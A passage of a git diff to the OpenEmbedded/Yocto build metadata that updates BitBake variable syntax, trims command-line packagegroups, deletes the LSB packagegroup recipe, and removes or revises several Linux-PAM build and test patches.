@@ -108,18 +63,15 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
openssl \
"
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
diffutils \
m4 \
make \
patch \
"
-VIRTUAL-RUNTIME_initscripts ?= "initscripts"
-VIRTUAL-RUNTIME_init_manager ?= "sysvinit"
-VIRTUAL-RUNTIME_login_manager ?= "busybox"
VIRTUAL-RUNTIME_syslog ?= "sysklogd"
-RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
+RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_initscripts} \
${VIRTUAL-RUNTIME_init_manager} \
ethtool \
@@ -127,32 +79,17 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_syslog} \
"
-RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
+RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
+ bzip2 \
cracklib \
gzip \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libuser', '', d)} \
shadow \
sudo \
"
-RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\
+RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
at \
- bzip2 \
cronie \
- dbus \
- dbus-glib \
- elfutils \
- gzip \
- less \
- libcap \
- libevent \
logrotate \
- nfs-utils \
- pciutils \
- libpcre \
- rpcbind \
- sysfsutils \
- tcp-wrappers \
- tzdata \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'nfs', 'nfs-utils rpcbind', '', d)} \
"
-
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-lsb.bb b/meta/recipes-extended/packagegroups/packagegroup-core-lsb.bb
deleted file mode 100644
index e1f34d5af1..0000000000
--- a/meta/recipes-extended/packagegroups/packagegroup-core-lsb.bb
+++ /dev/null
@@ -1,240 +0,0 @@
-#
-# Copyright (C) 2010 Intel Corporation
-#
-
-SUMMARY = "Linux Standard Base (LSB)"
-DESCRIPTION = "Packages required to satisfy the Linux Standard Base (LSB) specification"
-PR = "r10"
-
-inherit packagegroup distro_features_check
-
-# The libxt, libxtst and others require x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-# libglu needs virtual/libgl, which requires opengl in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES += "opengl"
-
-#
-# We will skip parsing this packagegeoup for non-glibc systems
-#
-python __anonymous () {
- if d.getVar('TCLIBC') != "glibc":
- raise bb.parse.SkipPackage("incompatible with %s C library" %
- d.getVar('TCLIBC'))
-}
-
-PACKAGES = "\
- packagegroup-core-lsb \
- packagegroup-core-sys-extended \
- packagegroup-core-db \
- packagegroup-core-perl \
- packagegroup-core-python \
- packagegroup-core-tcl \
- packagegroup-core-lsb-misc \
- packagegroup-core-lsb-core \
- packagegroup-core-lsb-perl \
- packagegroup-core-lsb-python \
- packagegroup-core-lsb-desktop \
- packagegroup-core-lsb-runtime-add \
- "
-
-
-RDEPENDS_packagegroup-core-lsb = "\
- packagegroup-core-sys-extended \
- packagegroup-core-db \
- packagegroup-core-perl \
- packagegroup-core-python \
- packagegroup-core-tcl \
- packagegroup-core-lsb-misc \
- packagegroup-core-lsb-core \
- packagegroup-core-lsb-perl \
- packagegroup-core-lsb-python \
- packagegroup-core-lsb-desktop \
- packagegroup-core-lsb-runtime-add \
- "
-
-
-RDEPENDS_packagegroup-core-sys-extended = "\
- curl \
- dhcp-client \
- hdparm \
- lighttpd \
- libaio \
- lrzsz \
- lzo \
- mc \
- mc-fish \
- mc-helpers \
- mc-helpers-perl \
- mdadm \
- minicom \
- parted \
- quota \
- screen \
- setserial \
- sysstat \
- udev-extraconf \
- unzip \
- watchdog \
- wget \
- which \
- xinetd \
- zip \
- "
-
-RDEPENDS_packagegroup-core-db = "\
- db \
- sqlite3 \
- "
-
-RDEPENDS_packagegroup-core-perl = "\
- gdbm \
- perl \
- zlib \
- "
-
-
-RDEPENDS_packagegroup-core-python = "\
- expat \
- gdbm \
- gmp \
- ncurses \
- openssl \
- python \
- readline \
- zip \
- "
-
-RDEPENDS_packagegroup-core-tcl = "\
- tcl \
- "
-
-# Miscellaneous packages required by LSB (or LSB tests)
-RDEPENDS_packagegroup-core-lsb-misc = "\
- chkconfig \
- gettext \
- gettext-runtime \
- groff \
- lsbinitscripts \
- lsbtest \
- lsof \
- strace \
- libusb1 \
- usbutils \
- rpm \
- "
-
-SUMMARY_packagegroup-core-lsb-core = "LSB Core"
-DESCRIPTION_packagegroup-core-lsb-core = "Packages required to support commands/libraries \
- specified in the LSB Core specification"
-RDEPENDS_packagegroup-core-lsb-core = "\
- at \
- bash \
- bc \
- binutils \
- binutils-symlinks \
- coreutils \
- cpio \
- cronie \
- cups \
- diffutils \
- ed \
- glibc-utils \
- elfutils \
- file \
- findutils \
- fontconfig-utils \
- foomatic-filters \
- gawk \
- ghostscript \
- grep \
- gzip \
- localedef \
- lsb \
- m4 \
- make \
- man \
- man-pages \
- mktemp \
- msmtp \
- patch \
- pax \
- procps \
- psmisc \
- sed \
- shadow \
- tar \
- time \
- util-linux \
- xdg-utils \
- \
- glibc \
- libgcc \
- libpam \
- libxml2 \
- ncurses \
- zlib \
- nspr \
- nss \
-"
-
-SUMMARY_packagegroup-core-lsb-perl = "LSB Runtime Languages (Perl)"
-DESCRIPTION_packagegroup-core-lsb-perl = "Packages required to support libraries \
- specified in the LSB Runtime languages specification (Perl parts)"
-RDEPENDS_packagegroup-core-lsb-perl = "\
- perl \
- perl-modules \
- perl-misc \
- perl-pod \
- perl-dev \
- perl-doc \
-"
-
-SUMMARY_packagegroup-core-lsb-python = "LSB Runtime Languages (Python)"
-DESCRIPTION_packagegroup-core-lsb-python = "Packages required to support libraries \
- specified in the LSB Runtime languages specification (Python parts)"
-RDEPENDS_packagegroup-core-lsb-python = "\
- python \
- python-modules \
- python-misc \
-"
-
-SUMMARY_packagegroup-core-lsb-desktop = "LSB Desktop"
-DESCRIPTION_packagegroup-core-lsb-desktop = "Packages required to support libraries \
- specified in the LSB Desktop specification"
-RDEPENDS_packagegroup-core-lsb-desktop = "\
- libxt \
- libxxf86vm \
- libdrm \
- libglu \
- libxi \
- libxtst \
- libx11-locale \
- xorg-minimal-fonts \
- gdk-pixbuf-loader-ico \
- gdk-pixbuf-loader-bmp \
- gdk-pixbuf-loader-ani \
- gdk-pixbuf-xlib \
- liberation-fonts \
- gtk+ \
- atk \
- libasound \
-"
-
-RDEPENDS_packagegroup-core-lsb-runtime-add = "\
- ldd \
- pam-plugin-wheel \
- e2fsprogs-mke2fs \
- mkfontdir \
- liburi-perl \
- libxml-parser-perl \
- libxml-perl \
- libxml-sax-perl \
- glibc-localedatas \
- glibc-gconvs \
- glibc-charmaps \
- glibc-binaries \
- glibc-localedata-posix \
- glibc-extra-nss \
- glibc-pcprofile \
-"
diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
deleted file mode 100644
index c55b648139..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 8 Aug 2015 14:16:43 -0700
-Subject: [PATCH] Add support for defining missing funcitonality
-
-In order to support alternative libc on linux ( musl, bioninc ) etc we
-need to check for glibc-only features and provide alternatives, in this
-list strndupa is first one, when configure detects that its not included
-in system C library then the altrnative implementation from missing.h is
-used
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 3 +++
- libpam/include/missing.h | 12 ++++++++++++
- modules/pam_exec/pam_exec.c | 1 +
- 3 files changed, 16 insertions(+)
- create mode 100644 libpam/include/missing.h
-
-diff --git a/configure.ac b/configure.ac
-index 9e1257f..cbed979 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,6 +599,9 @@ dnl
- AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>])
- AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>])
-
-+# musl and bionic don't have strndupa
-+AC_CHECK_DECLS_ONCE([strndupa])
-+
- HAVE_KEY_MANAGEMENT=0
- if test $have_key_syscalls$have_key_errors = 11
- then
-diff --git a/libpam/include/missing.h b/libpam/include/missing.h
-new file mode 100644
-index 0000000..3cf011c
---- /dev/null
-+++ b/libpam/include/missing.h
-@@ -0,0 +1,12 @@
-+#pragma once
-+
-+#if !HAVE_DECL_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c
-index 17ba6ca..3aa2694 100644
---- a/modules/pam_exec/pam_exec.c
-+++ b/modules/pam_exec/pam_exec.c
-@@ -59,6 +59,7 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
- #include <security/_pam_macros.h>
-+#include <missing.h>
-
- #define ENV_ITEM(n) { (n), #n }
- static struct {
---
-2.1.4
-
diff --git a/meta/recipes-extended/pam/libpam/99_pam b/meta/recipes-extended/pam/libpam/99_pam
index 97e990d10b..a88247be13 100644
--- a/meta/recipes-extended/pam/libpam/99_pam
+++ b/meta/recipes-extended/pam/libpam/99_pam
@@ -1 +1 @@
-d root root 0755 /var/run/sepermit none
+d root root 0755 /run/sepermit none
diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch
deleted file mode 100644
index 917a8af64d..0000000000
--- a/meta/recipes-extended/pam/libpam/crypt_configure.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 24 May 2016 14:11:09 +0300
-Subject: [PATCH] crypt_configure
-
-This patch fixes a case where it find crypt defined in libc (musl) but
-not in specified libraries then it ends up assigning
-LIBCRYPT="-l" which then goes into makefile cause all sort of problems
-e.g.
-
-ld: cannot find -l-m32
-| collect2: error: ld returned 1 exit status
-The reason is that -l appears on commandline with
-out any library and compiler treats the next argument as library name
-whatever it is.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index df39d07..e68d856 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"],
- [crypt_libs="crypt"])
-
- BACKUP_LIBS=$LIBS
--AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="")
-+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"])
- AC_CHECK_FUNCS(crypt_r crypt_gensalt_r)
- LIBS=$BACKUP_LIBS
- AC_SUBST(LIBCRYPT)
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/fixsepbuild.patch b/meta/recipes-extended/pam/libpam/fixsepbuild.patch
deleted file mode 100644
index 8a9c3b2fa1..0000000000
--- a/meta/recipes-extended/pam/libpam/fixsepbuild.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Fix the build error when a separate build directory is used:
-
-Making install in xtestsmake[1]: Entering directory `/media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/build/xtests'/usr/bin/install -c -d /media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/image/usr/share/Linux-PAM/xtestsfor file in run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd tst-pam_dispatch5.pamd tst-pam_cracklib1.pamd tst-pam_cracklib2.pamd tst-pam_unix1.pamd tst-pam_unix2.pamd tst-pam_unix3.pamd tst-pam_unix4.pamd tst-pam_unix1.sh tst-pam_unix2.sh tst-pam_unix3.sh tst-pam_unix4.sh access.conf tst-pam_access1.pamd tst-pam_access1.sh tst-pam_access2.pamd tst-pam_access2.sh tst-pam_access3.pamd tst-pam_access3.sh tst-pam_access4.pamd tst-pam_access4.sh limits.conf tst-pam_limits1.pamd tst-pam_limits1.sh tst-pam_succeed_if1.pamd tst-pam_succeed_if1.sh group.conf tst-pam_group1.pamd tst-pam_group1.sh tst-pam_authfail.pamd tst-pam_authsucceed.pamd tst-pam_substack1.pamd tst-pam_substack1a.pamd tst-pam_substack1.sh tst-pam_substack2.pamd tst-pam_substack2a.pamd tst-pam_substack2.sh tst-pam_substack3.pamd tst-pam_substack3a.pamd tst-pam_substack3.sh tst-pam_substack4.pamd tst-pam_substack4a.pamd tst-pam_substack4.sh tst-pam_substack5.pamd tst-pam_substack5a.pamd tst-pam_substack5.sh tst-pam_assemble_line1.pamd tst-pam_assemble_line1.sh tst-pam_pwhistory1.pamd tst-pam_pwhistory1.sh tst-pam_time1.pamd time.conf ; do \/usr/bin/install -c $file /media/build1/poky/build1/tmp/work/i586-poky-linux/libpam/1.1.6-r2/image/usr/share/Linux-PAM/xtests ; \ done
-/usr/bin/install: cannot stat `run-xtests.sh': No such file or directory
-/usr/bin/install: cannot stat `tst-pam_dispatch1.pamd': No such file or directory
-/usr/bin/install: cannot stat `tst-pam_dispatch2.pamd': No such file or directory
-
-Upstream-Status: Pending
-
-RP 2013/03/21
-
-Index: Linux-PAM-1.1.6/xtests/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/xtests/Makefile.am 2013-03-08 12:26:30.360266000 +0000
-+++ Linux-PAM-1.1.6/xtests/Makefile.am 2013-03-21 11:39:58.557166650 +0000
-@@ -59,7 +59,7 @@
- install_xtests:
- $(INSTALL) -d $(DESTDIR)$(pkgdatadir)/xtests
- for file in $(EXTRA_DIST) ; do \
-- $(INSTALL) $$file $(DESTDIR)$(pkgdatadir)/xtests ; \
-+ $(INSTALL) $(srcdir)/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
- done
- for file in $(XTESTS); do \
- $(INSTALL) .libs/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch
deleted file mode 100644
index e4eb95669b..0000000000
--- a/meta/recipes-extended/pam/libpam/include_paths_header.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-This patch adds missing include for paths.h which should provide
-_PATH_LASTLOG definition
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c
-+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-@@ -23,9 +23,11 @@
- #include <stdarg.h>
- #include <stdio.h>
- #include <string.h>
-+#include <sys/file.h>
- #include <sys/types.h>
- #include <syslog.h>
- #include <unistd.h>
-+#include <paths.h>
-
- #if defined(hpux) || defined(sunos) || defined(solaris)
- # ifndef _PATH_LASTLOG
-@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int
- return retval;
- }
-
-+#ifndef __GLIBC__
-+static void logwtmp(const char * line, const char * name, const char * host)
-+{
-+ struct utmp u;
-+ memset(&u, 0, sizeof(u));
-+
-+ u.ut_pid = getpid();
-+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS;
-+ strncpy(u.ut_line, line, sizeof(u.ut_line));
-+ strncpy(u.ut_name, name, sizeof(u.ut_name));
-+ strncpy(u.ut_host, host, sizeof(u.ut_host));
-+ gettimeofday(&(u.ut_tv), NULL);
-+
-+ updwtmp(_PATH_WTMP, &u);
-+}
-+#endif /* __GLIBC__ */
-+
- static int
- last_login_write(pam_handle_t *pamh, int announce, int last_fd,
- uid_t uid, const char *user)
-Index: Linux-PAM-1.1.6/modules/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/Makefile.am
-+++ Linux-PAM-1.1.6/modules/Makefile.am
-@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de
- pam_group pam_issue pam_keyinit pam_lastlog pam_limits \
- pam_listfile pam_localuser pam_loginuid pam_mail \
- pam_mkhomedir pam_motd pam_namespace pam_nologin \
-- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \
-+ pam_permit pam_pwhistory pam_rootok pam_securetty \
- pam_selinux pam_sepermit pam_shells pam_stress \
- pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \
- pam_tty_audit pam_umask \
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests-remove-bash-dependency.patch b/meta/recipes-extended/pam/libpam/libpam-xtests-remove-bash-dependency.patch
deleted file mode 100644
index 680029ae0d..0000000000
--- a/meta/recipes-extended/pam/libpam/libpam-xtests-remove-bash-dependency.patch
+++ /dev/null
@@ -1,226 +0,0 @@
-From 555407ff6e2f742df64ae93859f14a0fc1397829 Mon Sep 17 00:00:00 2001
-From: Wenzong Fan <wenzong.fan@windriver.com>
-Date: Fri, 12 Sep 2014 05:35:05 -0400
-Subject: [PATCH] libpam/xtests: remove bash dependency
-
-There's not bash specific syntax in the xtest scripts:
-
- # after below patches applied:
- $ cd Linux-PAM-1.1.6/xtests
- $ checkbashisms *.sh
- No output
-
-Just remove the runtime dependency to bash.
-
-Upstream-Status: Pending
-
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
----
- xtests/run-xtests.sh | 2 +-
- xtests/tst-pam_access1.sh | 2 +-
- xtests/tst-pam_access2.sh | 2 +-
- xtests/tst-pam_access3.sh | 2 +-
- xtests/tst-pam_access4.sh | 2 +-
- xtests/tst-pam_assemble_line1.sh | 2 +-
- xtests/tst-pam_group1.sh | 2 +-
- xtests/tst-pam_limits1.sh | 2 +-
- xtests/tst-pam_pwhistory1.sh | 2 +-
- xtests/tst-pam_substack1.sh | 2 +-
- xtests/tst-pam_substack2.sh | 2 +-
- xtests/tst-pam_substack3.sh | 2 +-
- xtests/tst-pam_substack4.sh | 2 +-
- xtests/tst-pam_substack5.sh | 2 +-
- xtests/tst-pam_succeed_if1.sh | 2 +-
- xtests/tst-pam_unix1.sh | 2 +-
- xtests/tst-pam_unix2.sh | 2 +-
- xtests/tst-pam_unix3.sh | 2 +-
- xtests/tst-pam_unix4.sh | 2 +-
- 19 files changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/xtests/run-xtests.sh b/xtests/run-xtests.sh
-index 3a89057..1cf8684 100755
---- a/xtests/run-xtests.sh
-+++ b/xtests/run-xtests.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- SRCDIR=$1
- shift 1
-diff --git a/xtests/tst-pam_access1.sh b/xtests/tst-pam_access1.sh
-index 180d256..70521d2 100755
---- a/xtests/tst-pam_access1.sh
-+++ b/xtests/tst-pam_access1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/groupadd tstpamaccess
- /usr/sbin/useradd -G tstpamaccess -p '!!' tstpamaccess1
-diff --git a/xtests/tst-pam_access2.sh b/xtests/tst-pam_access2.sh
-index 0a30275..7e3e60f 100755
---- a/xtests/tst-pam_access2.sh
-+++ b/xtests/tst-pam_access2.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/groupadd tstpamaccess
- /usr/sbin/useradd -p '!!' tstpamaccess2
-diff --git a/xtests/tst-pam_access3.sh b/xtests/tst-pam_access3.sh
-index 348e0c3..3630e2e 100755
---- a/xtests/tst-pam_access3.sh
-+++ b/xtests/tst-pam_access3.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd -p '!!' tstpamaccess3
- ./tst-pam_access3
-diff --git a/xtests/tst-pam_access4.sh b/xtests/tst-pam_access4.sh
-index 61e7b44..4538df4 100755
---- a/xtests/tst-pam_access4.sh
-+++ b/xtests/tst-pam_access4.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd -p '!!' tstpamaccess4
- ./tst-pam_access4
-diff --git a/xtests/tst-pam_assemble_line1.sh b/xtests/tst-pam_assemble_line1.sh
-index 248d47e..dc2a675 100755
---- a/xtests/tst-pam_assemble_line1.sh
-+++ b/xtests/tst-pam_assemble_line1.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authfail tst-pam_assemble_line1
-diff --git a/xtests/tst-pam_group1.sh b/xtests/tst-pam_group1.sh
-index b76377f..44faca9 100755
---- a/xtests/tst-pam_group1.sh
-+++ b/xtests/tst-pam_group1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/groupadd tstpamgrpg
- /usr/sbin/useradd -p '!!' tstpamgrp
-diff --git a/xtests/tst-pam_limits1.sh b/xtests/tst-pam_limits1.sh
-index 4faa822..32c021d 100755
---- a/xtests/tst-pam_limits1.sh
-+++ b/xtests/tst-pam_limits1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd -p '!!' tstpamlimits
- ./tst-pam_limits1
-diff --git a/xtests/tst-pam_pwhistory1.sh b/xtests/tst-pam_pwhistory1.sh
-index ddb3b8b..0f212e2 100644
---- a/xtests/tst-pam_pwhistory1.sh
-+++ b/xtests/tst-pam_pwhistory1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd tstpampwhistory
- ./tst-pam_pwhistory1
-diff --git a/xtests/tst-pam_substack1.sh b/xtests/tst-pam_substack1.sh
-index 5260175..f1b72a7 100755
---- a/xtests/tst-pam_substack1.sh
-+++ b/xtests/tst-pam_substack1.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authfail tst-pam_substack1
-diff --git a/xtests/tst-pam_substack2.sh b/xtests/tst-pam_substack2.sh
-index c02f597..3804fa7 100755
---- a/xtests/tst-pam_substack2.sh
-+++ b/xtests/tst-pam_substack2.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authsucceed tst-pam_substack2
-diff --git a/xtests/tst-pam_substack3.sh b/xtests/tst-pam_substack3.sh
-index 0e572aa..aa48e8e 100755
---- a/xtests/tst-pam_substack3.sh
-+++ b/xtests/tst-pam_substack3.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authsucceed tst-pam_substack3
-diff --git a/xtests/tst-pam_substack4.sh b/xtests/tst-pam_substack4.sh
-index a3ef08a..958a07a 100755
---- a/xtests/tst-pam_substack4.sh
-+++ b/xtests/tst-pam_substack4.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authsucceed tst-pam_substack4
-diff --git a/xtests/tst-pam_substack5.sh b/xtests/tst-pam_substack5.sh
-index e2714fd..7e0da74 100755
---- a/xtests/tst-pam_substack5.sh
-+++ b/xtests/tst-pam_substack5.sh
-@@ -1,3 +1,3 @@
--#!/bin/bash
-+#!/bin/sh
-
- exec ./tst-pam_authfail tst-pam_substack5
-diff --git a/xtests/tst-pam_succeed_if1.sh b/xtests/tst-pam_succeed_if1.sh
-index a643b2e..58e57b4 100755
---- a/xtests/tst-pam_succeed_if1.sh
-+++ b/xtests/tst-pam_succeed_if1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd -p '!!' tstpamtest
- /usr/sbin/useradd -p '!!' pamtest
-diff --git a/xtests/tst-pam_unix1.sh b/xtests/tst-pam_unix1.sh
-index f75bd84..72deac0 100755
---- a/xtests/tst-pam_unix1.sh
-+++ b/xtests/tst-pam_unix1.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- /usr/sbin/useradd -p '!!' tstpamunix
- ./tst-pam_unix1
-diff --git a/xtests/tst-pam_unix2.sh b/xtests/tst-pam_unix2.sh
-index 7093155..c04d6e6 100755
---- a/xtests/tst-pam_unix2.sh
-+++ b/xtests/tst-pam_unix2.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- # pamunix0 = 0aXKZztA.d1KY
- /usr/sbin/useradd -p 0aXKZztA.d1KY tstpamunix
-diff --git a/xtests/tst-pam_unix3.sh b/xtests/tst-pam_unix3.sh
-index ef4a07c..b52db2b 100755
---- a/xtests/tst-pam_unix3.sh
-+++ b/xtests/tst-pam_unix3.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- # pamunix01 = 0aXKZztA.d1KYIuFXArmd2jU
- /usr/sbin/useradd -p 0aXKZztA.d1KYIuFXArmd2jU tstpamunix
-diff --git a/xtests/tst-pam_unix4.sh b/xtests/tst-pam_unix4.sh
-index 787c2f9..e7976fd 100755
---- a/xtests/tst-pam_unix4.sh
-+++ b/xtests/tst-pam_unix4.sh
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
-
- # pamunix01 = 0aXKZztA.d1KYIuFXArmd2jU
- /usr/sbin/useradd -p 0aXKZztA.d1KYIuFXArmd2jU tstpamunix
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests.patch b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
index be687457f8..f2dafa72a5 100644
--- a/meta/recipes-extended/pam/libpam/libpam-xtests.patch
+++ b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
@@ -1,20 +1,30 @@
-This patch is used to create a new sub package libpam-xtests to do more checks.
+From 060726f7e60c8ecb5bf50fd776910b290d9a0a69 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Tue, 19 Jul 2011 17:08:31 +0800
+Subject: [PATCH] This patch is used to create a new sub package libpam-xtests
+ to do more checks.
Upstream-Status: Pending
Signed-off-by: Kang Kai <kai.kang@windriver.com>
---- Linux-PAM-1.1.4/xtests/Makefile.am.orig 2011-07-19 17:00:09.619980001 +0800
-+++ Linux-PAM-1.1.4/xtests/Makefile.am 2011-07-19 16:54:00.229979998 +0800
-@@ -7,7 +7,7 @@
- AM_LDFLAGS = -L$(top_builddir)/libpam -lpam \
- -L$(top_builddir)/libpam_misc -lpam_misc
+---
+ xtests/Makefile.am | 17 ++++++++++++++++-
+ 1 file changed, 16 insertions(+), 1 deletion(-)
+
+diff --git a/xtests/Makefile.am b/xtests/Makefile.am
+index acf9746..9826c9f 100644
+--- a/xtests/Makefile.am
++++ b/xtests/Makefile.am
+@@ -8,7 +8,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_srcdir)/libpam/include \
+ LDADD = $(top_builddir)/libpam/libpam.la \
+ $(top_builddir)/libpam_misc/libpam_misc.la
-CLEANFILES = *~ $(XTESTS)
+CLEANFILES = *~
EXTRA_DIST = run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd \
tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd \
-@@ -51,3 +51,18 @@
+@@ -55,3 +55,18 @@ EXTRA_PROGRAMS = $(XTESTS)
xtests: $(XTESTS) run-xtests.sh
"$(srcdir)"/run-xtests.sh "$(srcdir)" ${XTESTS} ${NOSRCTESTS}
@@ -26,7 +36,7 @@ Signed-off-by: Kang Kai <kai.kang@windriver.com>
+install_xtests:
+ $(INSTALL) -d $(DESTDIR)$(pkgdatadir)/xtests
+ for file in $(EXTRA_DIST) ; do \
-+ $(INSTALL) $$file $(DESTDIR)$(pkgdatadir)/xtests ; \
++ $(INSTALL) $(srcdir)/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
+ done
+ for file in $(XTESTS); do \
+ $(INSTALL) .libs/$$file $(DESTDIR)$(pkgdatadir)/xtests ; \
diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
deleted file mode 100644
index f1834f6ce3..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
+++ /dev/null
@@ -1,200 +0,0 @@
-Description: extract the securetty logic for use with the "nullok_secure" option
- introduced in the "055_pam_unix_nullok_secure" patch.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-===================================================================
-diff -urpN a/modules/pam_securetty/Makefile.am b/modules/pam_securetty/Makefile.am
---- a/modules/pam_securetty/Makefile.am 2013-07-05 11:08:23.224483237 +0800
-+++ b/modules/pam_securetty/Makefile.am 2013-07-05 11:15:21.304486456 +0800
-@@ -24,6 +24,10 @@ endif
- securelib_LTLIBRARIES = pam_securetty.la
- pam_securetty_la_LIBADD = -L$(top_builddir)/libpam -lpam
-
-+pam_securetty_la_SOURCES = \
-+ pam_securetty.c \
-+ tty_secure.c
-+
